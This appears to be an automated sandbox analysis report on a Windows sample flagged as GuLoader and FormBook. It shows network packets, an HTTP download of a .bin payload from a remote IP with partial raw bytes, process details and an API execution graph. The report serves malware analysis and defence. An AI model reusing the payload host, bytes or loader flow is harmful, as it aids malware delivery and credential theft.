                                  Nov 4, 2024 16:10:26.772022009 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:26.772999048 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.773010969 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.773021936 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.773058891 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:26.773082018 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:26.774218082 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.774265051 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:26.816401958 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.816500902 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:26.816576958 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.816627979 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:26.816952944 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.816996098 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:26.842436075 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.842504025 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.842516899 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.842562914 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:26.842592001 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:26.886702061 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.886837006 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:26.886893034 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.886907101 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.886945963 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:26.887233019 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.887247086 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.887284040 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:26.887912989 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.887926102 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.887937069 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.887962103 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:26.887979031 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:26.888592005 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.888603926 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.888616085 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.888638020 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:26.888662100 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:26.889405966 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.889419079 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.889451027 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:26.889950037 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.889961958 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.889971972 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.889997005 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:26.890012980 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:10:26.890940905 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.890953064 CET8049951173.249.193.48192.168.2.7
                                  Nov 4, 2024 16:10:26.890986919 CET4995180192.168.2.7173.249.193.48
                                  Nov 4, 2024 16:11:12.004760027 CET4995180192.168.2.7173.249.193.48

                                  HTTP Request Dependency Graph

                                  • 173.249.193.48

                                  HTTP Packets

                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                  0192.168.2.749951173.249.193.48802176C:\Users\user\Desktop\stormskridtets.exe
                                  TimestampBytes transferredDirectionData
                                  Nov 4, 2024 16:10:24.505764961 CET178OUTGET /dlDSZQaZvoFz216.bin HTTP/1.1
                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
                                  Host: 173.249.193.48
                                  Cache-Control: no-cache
                                  Nov 4, 2024 16:10:25.244894981 CET1236INHTTP/1.1 200 OK
                                  Content-Type: application/octet-stream
                                  Last-Modified: Mon, 04 Nov 2024 05:32:33 GMT
                                  Accept-Ranges: bytes
                                  ETag: "8cf21f37a2edb1:0"
                                  Server: Microsoft-IIS/10.0
                                  Date: Mon, 04 Nov 2024 15:10:25 GMT
                                  Content-Length: 288832
                                  Data Raw: cb 46 4e 64 4c 95 6a 2d 8e 0c f2 75 17 7b 61 46 6c ac 38 52 ea d5 b1 e6 39 a9 b9 62 fc ff e6 42 a4 4e 45 c4 50 12 cc ce 81 a5 27 af 63 b4 e6 92 eb 4a d0 b2 c5 84 0d 9e 61 6e 2d 7b c7 c0 a9 a2 b8 44 31 a3 6a 93 16 74 fd 1e 81 0b 36 39 a4 19 2a d6 98 6e e1 ed 0a 50 91 25 b5 19 5b cb d0 a8 03 b5 a7 a6 fd 65 e5 ab 00 3b 6c d3 55 bc c1 12 da bf 6a 3f de 8e 1a 56 e2 e8 b9 16 db 8b ed b0 c0 43 2e 7e ec e6 d0 9b d2 49 e6 b8 a9 f4 a2 67 cd c7 36 e5 3a 06 d9 2b bc 00 11 60 06 62 fb 6b 66 cd b5 49 b6 10 7d 67 2e 17 77 66 87 4e 15 61 ed 42 53 14 f1 50 e6 81 80 99 b9 78 c6 fe d3 6c 1d b8 e7 86 98 00 95 86 ee 12 ab dc 55 1c d2 de 44 53 28 bb 05 78 0a fd ff cd b1 ab 01 ef 5b b0 3b 4a fc 38 ef 7f d8 7d 34 8b 3f cc 91 b9 4a 23 53 1f 4e 4f 54 f3 d2 01 ad 3f 36 d5 4d 6f cf 4c 52 fb 3c dd 69 a0 0e 2b d2 57 81 ae 5d 48 32 28 e0 bf e1 4b a9 e3 b0 ed 36 12 00 25 61 3e 7d fd 53 4e 81 ce 79 4b 58 b5 6a 64 e1 32 d2 fc 13 d3 2d 04 16 d2 94 9b 95 4d e7 31 8c eb 48 7b c6 c8 6d 60 e5 11 55 66 c4 2e 59 a9 a6 98 c1 ff e0 b4 19 1f [TRUNCATED]
                                  Data Ascii: FNdLj-u{aFl8R9bBNEP'cJan-{D1jt69*nP%[e;lUj?VC.~Ig6:+`bkfI}g.wfNaBSPxlUDS(x[;J8}4?J#SNOT?6MoLR<i+W]H2(K6%a>}SNyKXjd2-M1H{m`Uf.YxmgLs4thQE*D!V'V_h$Ap"lZEa>-8:q-2={wX>~w69F3n1`w!]G0yi!nz-V:)|M9fF<>t[}3*XF~V6_gr?xIp37%_Q%AnrK}PETKzW\oPlo%4\\G{]FfaC>' n}g*e#9FI_(wpbL!2.MDc(a1>HoL>~0A1S3>QKlV>6Pmcd&**y%@,K;K8aTzOT}<fe%SBGM^/42)4G[k,nbd?2B=*"]]A8Cte+^Im:v7{L{dL
                                  Nov 4, 2024 16:10:25.245070934 CET1236INData Raw: a1 8e a2 7b 67 6c 34 ea 8d 1c 2b 1d 14 d4 e3 ad 86 72 12 e0 f9 a2 04 f4 2b dc 2c 0c 5b f5 30 29 b1 3e d0 cd 45 fb 6f f4 98 3f 2f c1 ee 36 7a 18 d0 0e 14 44 ec cf 42 b4 23 e9 37 70 36 ab 6f 53 4f ab 1b 2a ae 90 60 5f c0 b6 fc 5c 8f ce ff 8e 00 4a
                                  Data Ascii: {gl4+r+,[0)>Eo?/6zDB#7p6oSO*`_\JGo-he9@6lKka0u4OkUb"ZM`za&~;$#&\>S4(`kVX4D.sQ)?Vj (@jt{
                                  Nov 4, 2024 16:10:25.245084047 CET1236INData Raw: e8 d1 d1 13 c4 91 a1 7d 67 2a ff 04 ce 65 86 23 39 46 d7 49 17 5f 0f c9 c2 dd 90 c1 28 77 f6 f5 0d d0 a0 70 62 a5 e5 0c 4c 7f e0 c0 21 32 b2 98 fa f0 2e ae ec f2 db e2 ee 0f 4d c4 d8 da 8c 8f aa 44 bb a1 63 28 14 97 d2 9b bf 11 0b 1a ef 61 85 cd
                                  Data Ascii: }g*e#9FI_(wpbL!2.MDc(a1>HoL>~0A1S3>QKlV>6Pmcd&**y%@,K;K8aTzOT}<fe%SBGM^/42)4G[k,nbd
                                  Nov 4, 2024 16:10:25.245095968 CET1236INData Raw: cf a4 68 ef 10 24 9a 08 aa 8b c5 88 f9 41 9f 70 cd 0a 22 6c 08 c5 89 5a 45 61 ff 3e 2d 38 8f d3 eb 3a 00 c6 f0 71 2d d7 f1 d5 32 0f 3d f9 9b 89 83 19 7b 77 c2 58 3e 15 7e c9 77 89 9c a3 36 80 7f 39 46 c8 02 05 07 e7 9a fd 1e 8e 33 12 cf 6e 31 60
                                  Data Ascii: h$Ap"lZEa>-8:q-2={wX>~w69F3n1`w!]G0yi!nzYV:xM9fF<>t[}3*XF~V6_gr?xIp37%_Q%AnrK}PETKzW\o
                                  Nov 4, 2024 16:10:25.245991945 CET1236INData Raw: 58 dd 5b d0 a8 bb 85 a7 a6 fd e6 1d cc 0f 74 aa 99 20 4b 80 99 1b 9a 6b 3f de 0e 63 53 aa 6b 71 e8 23 fe ec f1 4f a5 68 69 ec 52 a5 b0 ac af bc a9 a7 80 7d e3 27 58 32 c6 1e 5a 65 0e ee 9b 89 56 67 0c 95 8d 4f 15 e4 d3 51 27 f4 34 38 7e 19 ff f7
                                  Data Ascii: X[t Kk?cSkq#OhiR}'X2ZeVgOQ'48~(FA:7q?xhldjg)i3Zd7dM}=3Wj>fo8arW"qe+o5%Zv$wtR=@](K=# _3_
                                  Nov 4, 2024 16:10:25.246006012 CET1236INData Raw: 2b 0b 30 4b 89 42 1a 9a a6 2b 5e 4f 2e 0c 43 ba 22 70 25 8f 71 1e 1e 1c 83 b7 76 d1 a0 3f cd 96 36 84 16 f2 a8 a0 63 88 16 82 d8 22 38 3c ea 06 de d2 92 4c bd 26 a0 5c 42 98 cd 83 b7 24 9b e5 ce b3 a3 f8 60 d0 d7 1e 4d be a9 bf da 92 52 04 9b ef
                                  Data Ascii: +0KB+^O.C"p%qv?6c"8<L&\B$`MR.U p(j=t=3JfmMl\o<>#YCOt9nu9&p+g4$ZS`ranWF}a-+3AoiGT@K1fl+|%g
                                  Nov 4, 2024 16:10:25.246016979 CET1236INData Raw: 46 d5 5b 0f 84 13 70 f7 5a b4 e4 4c ea 76 51 d0 a5 0f 57 c5 17 ca 26 b4 23 95 e8 fb 83 e7 90 ac b0 2e ed 25 2a 04 60 5f c0 85 27 1f 37 98 aa db 55 bd 4a cc 11 48 19 1f cc ad 6a e6 99 6c 42 4e 15 76 11 9e 40 77 75 2a e4 40 4a c3 d5 34 a4 6b 61 6a
                                  Data Ascii: F[pZLvQW&#.%*`_'7UJHjlBNv@wu*@J4kaj?P8T5V#C`'ygu%h=-L$'1\>UVy}(#xFP"7}FzR-Vb}9v}zi9idiv"cR@ZO
                                  Nov 4, 2024 16:10:25.247143984 CET1236INData Raw: 86 9d 24 f9 27 29 60 c5 38 64 58 09 d8 9b 36 6f 13 f3 ff 6f 16 f5 50 28 2f e6 52 c7 12 af 67 05 ff bb 32 ec e7 1b d4 ad 86 9c a7 65 0c 5a d4 a7 f3 38 1e 35 f8 0d 00 1c 62 94 69 3f d9 7e 4d 6a 80 82 b5 9a a4 d7 fd 89 6a bd dd 21 2b 3e cd ee 5a 93
                                  Data Ascii: $')`8dX6ooP(/Rg2eZ85bi?~Mjj!+>Z%+>+((<P.r**jl?Jk./8ub@* LTzR'7jetn2$E%6^I=+!iaIH7i9aO8*s+"fv0R~+
                                  Nov 4, 2024 16:10:25.247158051 CET1236INData Raw: 2a d4 1f c5 02 04 c6 5a b0 2b 62 f0 8a d1 9a 89 83 f1 f7 9c 3d a7 bd d1 76 71 e3 dd 9c a3 8c 2a 7f 39 46 71 13 05 07 e7 a1 37 11 c2 f9 5a ba 96 89 f1 bb 9e 77 57 9b 07 49 bd ba fe 0b 2a 10 c6 9e de 91 14 be a1 7d ea 8c 59 b4 71 70 72 af 3a e6 8e
                                  Data Ascii: *Z+b=vq*9Fq7ZwWI*}Yqpr:|;_<A|:3#=^=\WZ0`K{g>/WpE:p3B"_Q=%:%N&vAPyUS7_!t{m#o#OHL^@?]
                                  Nov 4, 2024 16:10:25.247168064 CET1236INData Raw: 93 a3 fe f8 3b 83 50 1f 25 fc 14 e2 21 eb 83 39 ab 3a e6 36 54 2f 51 4b 56 c3 2c 52 56 6a 69 41 88 6b 8f 96 49 1e d6 18 5a 9f e9 4d fd 0d b9 22 8e b1 dc 19 1f 0b ec 6c fa 3a 00 28 47 68 cc 32 94 95 a8 84 d5 f7 f0 ee 26 1e 66 be 75 d3 cc b5 2f 68
                                  Data Ascii: ;P%!9:6T/QKV,RVjiAkIZM"l:(Gh2&fu/h|?qmU@Ve()I&X{NOTpv6he@g=8K6)*.5KC[XjA<YnXzR%M~j[4,*D bxJ
                                  Nov 4, 2024 16:10:25.250020981 CET1236INData Raw: 78 9f 62 dd 65 e3 96 79 cc 43 be 59 1f e6 27 38 75 9a bc e4 0a 7e fa 78 e5 5c 13 c2 9a 4c 68 fa 06 c6 48 fa 67 e4 73 2f b2 41 01 50 a8 3c da f9 df 06 a3 30 36 23 6f 27 65 84 bd b4 a7 16 cd ad 89 f8 ba a7 63 49 90 5c 81 47 c1 0e 38 22 87 52 53 fc
                                  Data Ascii: xbeyCY'8u~x\LhHgs/AP<06#o'ecI\G8"RSaf]v 5vu<WY<m&9bAW.7^>K|cJitgh h\isC~0NtE=^FT]ynplXP}^jzc


                                  Statistics

                                  CPU Usage

                                  Click to jump to process

                                  Memory Usage

                                  Click to jump to process

                                  Behavior

                                  Click to jump to process

                                  System Behavior

                                  General

                                  Target ID:0
                                  Start time:10:09:04
                                  Start date:04/11/2024
                                  Path:C:\Users\user\Desktop\stormskridtets.exe
                                  Wow64 process (32bit):true
                                  Commandline:"C:\Users\user\Desktop\stormskridtets.exe"
                                  Imagebase:0x400000
                                  File size:916'008 bytes
                                  MD5 hash:838AC221B23F5AFFC17264C2B300545B
                                  Has elevated privileges:true
                                  Has administrator privileges:true
                                  Programmed in:C, C++ or other language
                                  Yara matches:
                                  • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.1942971139.00000000065D2000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                  Reputation:low
                                  Has exited:true

                                  General

                                  Target ID:6
                                  Start time:12:01:12
                                  Start date:04/11/2024
                                  Path:C:\Users\user\Desktop\stormskridtets.exe
                                  Wow64 process (32bit):true
                                  Commandline:"C:\Users\user\Desktop\stormskridtets.exe"
                                  Imagebase:0x400000
                                  File size:916'008 bytes
                                  MD5 hash:838AC221B23F5AFFC17264C2B300545B
                                  Has elevated privileges:true
                                  Has administrator privileges:true
                                  Programmed in:C, C++ or other language
                                  Yara matches:
                                  • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.2552922904.00000000370C0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000006.00000002.2520847508.0000000003552000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                  Reputation:low
                                  Has exited:true

                                  General

                                  Target ID:8
                                  Start time:12:02:02
                                  Start date:04/11/2024
                                  Path:C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exe
                                  Wow64 process (32bit):true
                                  Commandline:"C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exe"
                                  Imagebase:0xf10000
                                  File size:140'800 bytes
                                  MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                  Has elevated privileges:false
                                  Has administrator privileges:false
                                  Programmed in:C, C++ or other language
                                  Yara matches:
                                  • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.2555508890.0000000002FE0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                  Reputation:high
                                  Has exited:false

                                  General

                                  Target ID:9
                                  Start time:12:02:04
                                  Start date:04/11/2024
                                  Path:C:\Windows\SysWOW64\wiaacmgr.exe
                                  Wow64 process (32bit):true
                                  Commandline:"C:\Windows\SysWOW64\wiaacmgr.exe"
                                  Imagebase:0xba0000
                                  File size:84'480 bytes
                                  MD5 hash:2F1D379CE47E920BDDD2C50214457E0F
                                  Has elevated privileges:false
                                  Has administrator privileges:false
                                  Programmed in:C, C++ or other language
                                  Yara matches:
                                  • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.2554677862.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.2555391519.0000000004260000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.2555322541.0000000000B20000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                  Reputation:low
                                  Has exited:false

                                  Disassembly

                                  Reset < >

                                    Execution Graph

                                    Execution Coverage:28.1%
                                    Dynamic/Decrypted Code Coverage:30.5%
                                    Signature Coverage:18.5%
                                    Total number of Nodes:704
                                    Total number of Limit Nodes:16
                                    execution_graph 2988 73c92349 2989 73c923b3 2988->2989 2990 73c923dd 2989->2990 2991 73c923be GlobalAlloc 2989->2991 2991->2989 2240 4034a2 SetErrorMode GetVersion 2241 4034e1 2240->2241 2242 4034e7 2240->2242 2243 4067e3 5 API calls 2241->2243 2330 406773 GetSystemDirectoryW 2242->2330 2243->2242 2245 4034fd lstrlenA 2245->2242 2246 40350d 2245->2246 2333 4067e3 GetModuleHandleA 2246->2333 2249 4067e3 5 API calls 2250 40351b 2249->2250 2251 4067e3 5 API calls 2250->2251 2252 403527 #17 OleInitialize SHGetFileInfoW 2251->2252 2339 4063ee lstrcpynW 2252->2339 2255 403573 GetCommandLineW 2340 4063ee lstrcpynW 2255->2340 2257 403585 2341 405cf0 2257->2341 2260 4036d4 GetTempPathW 2345 403471 2260->2345 2262 4036ec 2263 4036f0 GetWindowsDirectoryW lstrcatW 2262->2263 2264 403746 DeleteFileW 2262->2264 2268 403471 12 API calls 2263->2268 2355 403015 GetTickCount GetModuleFileNameW 2264->2355 2265 405cf0 CharNextW 2267 4035c3 2265->2267 2267->2265 2273 4036bf 2267->2273 2274 4036bd 2267->2274 2269 40370c 2268->2269 2269->2264 2271 403710 GetTempPathW lstrcatW SetEnvironmentVariableW SetEnvironmentVariableW 2269->2271 2270 40375a 2278 405cf0 CharNextW 2270->2278 2312 4037fd 2270->2312 2325 40380d 2270->2325 2272 403471 12 API calls 2271->2272 2276 40373e 2272->2276 2472 4063ee lstrcpynW 2273->2472 2274->2260 2276->2264 2276->2325 2295 403779 2278->2295 2281 403947 2284 4039cb ExitProcess 2281->2284 2285 40394f GetCurrentProcess OpenProcessToken 2281->2285 2282 403827 2496 405a54 2282->2496 2290 403967 LookupPrivilegeValueW AdjustTokenPrivileges 2285->2290 2291 40399b 2285->2291 2288 4037d7 2473 405dcb 2288->2473 2289 40383d 2439 4059bf 2289->2439 2290->2291 2294 4067e3 5 API calls 2291->2294 2307 4039a2 2294->2307 2295->2288 2295->2289 2298 403853 lstrcatW 2299 40385e lstrcatW lstrcmpiW 2298->2299 2302 40387a 2299->2302 2299->2325 2300 4039b7 ExitWindowsEx 2300->2284 2303 4039c4 2300->2303 2305 403886 2302->2305 2306 40387f 2302->2306 2504 40140b 2303->2504 2304 4037f2 2488 4063ee lstrcpynW 2304->2488 2500 4059a2 CreateDirectoryW 2305->2500 2442 405925 CreateDirectoryW 2306->2442 2307->2300 2307->2303 2383 403abd 2312->2383 2314 40388b SetCurrentDirectoryW 2315 4038a6 2314->2315 2316 40389b 2314->2316 2447 4063ee lstrcpynW 2315->2447 2503 4063ee lstrcpynW 2316->2503 2321 4038f2 CopyFileW 2327 4038b4 2321->2327 2322 40393b 2323 4061b4 36 API calls 2322->2323 2323->2325 2489 4039e3 2325->2489 2326 40642b 17 API calls 2326->2327 2327->2322 2327->2326 2329 403926 CloseHandle 2327->2329 2448 40642b 2327->2448 2465 4061b4 MoveFileExW 2327->2465 2469 4059d7 CreateProcessW 2327->2469 2329->2327 2331 406795 wsprintfW LoadLibraryExW 2330->2331 2331->2245 2334 406809 GetProcAddress 2333->2334 2335 4067ff 2333->2335 2338 403514 2334->2338 2336 406773 3 API calls 2335->2336 2337 406805 2336->2337 2337->2334 2337->2338 2338->2249 2339->2255 2340->2257 2342 405cf6 2341->2342 2343 4035aa CharNextW 2342->2343 2344 405cfd CharNextW 2342->2344 2343->2260 2343->2267 2344->2342 2507 40669d 2345->2507 2347 403487 2347->2262 2348 40347d 2348->2347 2516 405cc3 lstrlenW CharPrevW 2348->2516 2351 4059a2 2 API calls 2352 403495 2351->2352 2519 405f13 2352->2519 2523 405ee4 GetFileAttributesW CreateFileW 2355->2523 2357 403055 2375 403065 2357->2375 2524 4063ee lstrcpynW 2357->2524 2359 40307b 2525 405d0f lstrlenW 2359->2525 2363 40308c GetFileSize 2364 403186 2363->2364 2377 4030a3 2363->2377 2530 402fb1 2364->2530 2366 40318f 2368 4031bf GlobalAlloc 2366->2368 2366->2375 2565 40345a SetFilePointer 2366->2565 2541 40345a SetFilePointer 2368->2541 2370 4031f2 2372 402fb1 6 API calls 2370->2372 2372->2375 2373 4031a8 2376 403444 ReadFile 2373->2376 2374 4031da 2542 40324c 2374->2542 2375->2270 2379 4031b3 2376->2379 2377->2364 2377->2370 2377->2375 2380 402fb1 6 API calls 2377->2380 2562 403444 2377->2562 2379->2368 2379->2375 2380->2377 2381 4031e6 2381->2375 2381->2381 2382 403223 SetFilePointer 2381->2382 2382->2375 2384 4067e3 5 API calls 2383->2384 2385 403ad1 2384->2385 2386 403ad7 2385->2386 2387 403ae9 2385->2387 2594 406335 wsprintfW 2386->2594 2595 4062bc 2387->2595 2391 403b38 lstrcatW 2392 403ae7 2391->2392 2586 403d93 2392->2586 2393 4062bc 3 API calls 2393->2391 2396 405dcb 18 API calls 2398 403b6a 2396->2398 2397 403bfe 2399 405dcb 18 API calls 2397->2399 2398->2397 2400 4062bc 3 API calls 2398->2400 2401 403c04 2399->2401 2402 403b9c 2400->2402 2403 403c14 LoadImageW 2401->2403 2404 40642b 17 API calls 2401->2404 2402->2397 2407 403bbd lstrlenW 2402->2407 2410 405cf0 CharNextW 2402->2410 2405 403cba 2403->2405 2406 403c3b RegisterClassW 2403->2406 2404->2403 2409 40140b 2 API calls 2405->2409 2408 403c71 SystemParametersInfoW CreateWindowExW 2406->2408 2438 403cc4 2406->2438 2411 403bf1 2407->2411 2412 403bcb lstrcmpiW 2407->2412 2408->2405 2413 403cc0 2409->2413 2415 403bba 2410->2415 2414 405cc3 3 API calls 2411->2414 2412->2411 2416 403bdb GetFileAttributesW 2412->2416 2417 403d93 18 API calls 2413->2417 2413->2438 2418 403bf7 2414->2418 2415->2407 2419 403be7 2416->2419 2420 403cd1 2417->2420 2600 4063ee lstrcpynW 2418->2600 2419->2411 2422 405d0f 2 API calls 2419->2422 2423 403d60 2420->2423 2424 403cdd ShowWindow 2420->2424 2422->2411 2601 405529 OleInitialize 2423->2601 2426 406773 3 API calls 2424->2426 2428 403cf5 2426->2428 2427 403d66 2429 403d82 2427->2429 2430 403d6a 2427->2430 2431 403d03 GetClassInfoW 2428->2431 2433 406773 3 API calls 2428->2433 2432 40140b 2 API calls 2429->2432 2436 40140b 2 API calls 2430->2436 2430->2438 2434 403d17 GetClassInfoW RegisterClassW 2431->2434 2435 403d2d DialogBoxParamW 2431->2435 2432->2438 2433->2431 2434->2435 2437 40140b 2 API calls 2435->2437 2436->2438 2437->2438 2438->2325 2440 4067e3 5 API calls 2439->2440 2441 403842 lstrcatW 2440->2441 2441->2298 2441->2299 2443 403884 2442->2443 2444 405976 GetLastError 2442->2444 2443->2314 2444->2443 2445 405985 SetFileSecurityW 2444->2445 2445->2443 2446 40599b GetLastError 2445->2446 2446->2443 2447->2327 2453 406438 2448->2453 2449 406683 2450 4038e5 DeleteFileW 2449->2450 2625 4063ee lstrcpynW 2449->2625 2450->2321 2450->2327 2452 406651 lstrlenW 2452->2453 2453->2449 2453->2452 2454 40642b 10 API calls 2453->2454 2457 406566 GetSystemDirectoryW 2453->2457 2458 4062bc 3 API calls 2453->2458 2459 406579 GetWindowsDirectoryW 2453->2459 2460 40669d 5 API calls 2453->2460 2461 40642b 10 API calls 2453->2461 2462 4065f4 lstrcatW 2453->2462 2463 4065ad SHGetSpecialFolderLocation 2453->2463 2623 406335 wsprintfW 2453->2623 2624 4063ee lstrcpynW 2453->2624 2454->2452 2457->2453 2458->2453 2459->2453 2460->2453 2461->2453 2462->2453 2463->2453 2464 4065c5 SHGetPathFromIDListW CoTaskMemFree 2463->2464 2464->2453 2466 4061d5 2465->2466 2467 4061c8 2465->2467 2466->2327 2626 40603a 2467->2626 2470 405a16 2469->2470 2471 405a0a CloseHandle 2469->2471 2470->2327 2471->2470 2472->2274 2660 4063ee lstrcpynW 2473->2660 2475 405ddc 2661 405d6e CharNextW CharNextW 2475->2661 2478 4037e3 2478->2325 2487 4063ee lstrcpynW 2478->2487 2479 40669d 5 API calls 2485 405df2 2479->2485 2480 405e23 lstrlenW 2481 405e2e 2480->2481 2480->2485 2482 405cc3 3 API calls 2481->2482 2484 405e33 GetFileAttributesW 2482->2484 2484->2478 2485->2478 2485->2480 2486 405d0f 2 API calls 2485->2486 2667 40674c FindFirstFileW 2485->2667 2486->2480 2487->2304 2488->2312 2490 4039fb 2489->2490 2491 4039ed CloseHandle 2489->2491 2670 403a28 2490->2670 2491->2490 2497 405a69 2496->2497 2498 403835 ExitProcess 2497->2498 2499 405a7d MessageBoxIndirectW 2497->2499 2499->2498 2501 4059b2 2500->2501 2502 4059b6 GetLastError 2500->2502 2501->2314 2502->2501 2503->2315 2505 401389 2 API calls 2504->2505 2506 401420 2505->2506 2506->2284 2508 4066aa 2507->2508 2510 406720 2508->2510 2511 406713 CharNextW 2508->2511 2513 405cf0 CharNextW 2508->2513 2514 4066ff CharNextW 2508->2514 2515 40670e CharNextW 2508->2515 2509 406725 CharPrevW 2509->2510 2510->2509 2512 406746 2510->2512 2511->2508 2511->2510 2512->2348 2513->2508 2514->2508 2515->2511 2517 40348f 2516->2517 2518 405cdf lstrcatW 2516->2518 2517->2351 2518->2517 2520 405f20 GetTickCount GetTempFileNameW 2519->2520 2521 4034a0 2520->2521 2522 405f56 2520->2522 2521->2262 2522->2520 2522->2521 2523->2357 2524->2359 2526 405d1d 2525->2526 2527 405d23 CharPrevW 2526->2527 2528 403081 2526->2528 2527->2526 2527->2528 2529 4063ee lstrcpynW 2528->2529 2529->2363 2531 402fd2 2530->2531 2532 402fba 2530->2532 2535 402fe2 GetTickCount 2531->2535 2536 402fda 2531->2536 2533 402fc3 DestroyWindow 2532->2533 2534 402fca 2532->2534 2533->2534 2534->2366 2538 402ff0 CreateDialogParamW ShowWindow 2535->2538 2539 403013 2535->2539 2566 40681f 2536->2566 2538->2539 2539->2366 2541->2374 2544 403265 2542->2544 2543 403293 2546 403444 ReadFile 2543->2546 2544->2543 2583 40345a SetFilePointer 2544->2583 2547 40329e 2546->2547 2548 4032b0 GetTickCount 2547->2548 2549 4033dd 2547->2549 2551 4033c7 2547->2551 2548->2551 2558 4032dc 2548->2558 2550 40341f 2549->2550 2555 4033e1 2549->2555 2552 403444 ReadFile 2550->2552 2551->2381 2552->2551 2553 403444 ReadFile 2553->2558 2554 403444 ReadFile 2554->2555 2555->2551 2555->2554 2556 405f96 WriteFile 2555->2556 2556->2555 2557 403332 GetTickCount 2557->2558 2558->2551 2558->2553 2558->2557 2559 403357 MulDiv wsprintfW 2558->2559 2581 405f96 WriteFile 2558->2581 2570 405456 2559->2570 2584 405f67 ReadFile 2562->2584 2565->2373 2567 40683c PeekMessageW 2566->2567 2568 406832 DispatchMessageW 2567->2568 2569 402fe0 2567->2569 2568->2567 2569->2366 2571 405471 2570->2571 2579 405513 2570->2579 2572 40548d lstrlenW 2571->2572 2573 40642b 17 API calls 2571->2573 2574 4054b6 2572->2574 2575 40549b lstrlenW 2572->2575 2573->2572 2577 4054c9 2574->2577 2578 4054bc SetWindowTextW 2574->2578 2576 4054ad lstrcatW 2575->2576 2575->2579 2576->2574 2577->2579 2580 4054cf SendMessageW SendMessageW SendMessageW 2577->2580 2578->2577 2579->2558 2580->2579 2582 405fb4 2581->2582 2582->2558 2583->2543 2585 403457 2584->2585 2585->2377 2587 403da7 2586->2587 2608 406335 wsprintfW 2587->2608 2589 403e18 2609 403e4c 2589->2609 2591 403b48 2591->2396 2592 403e1d 2592->2591 2593 40642b 17 API calls 2592->2593 2593->2592 2594->2392 2612 40625b 2595->2612 2598 4062f0 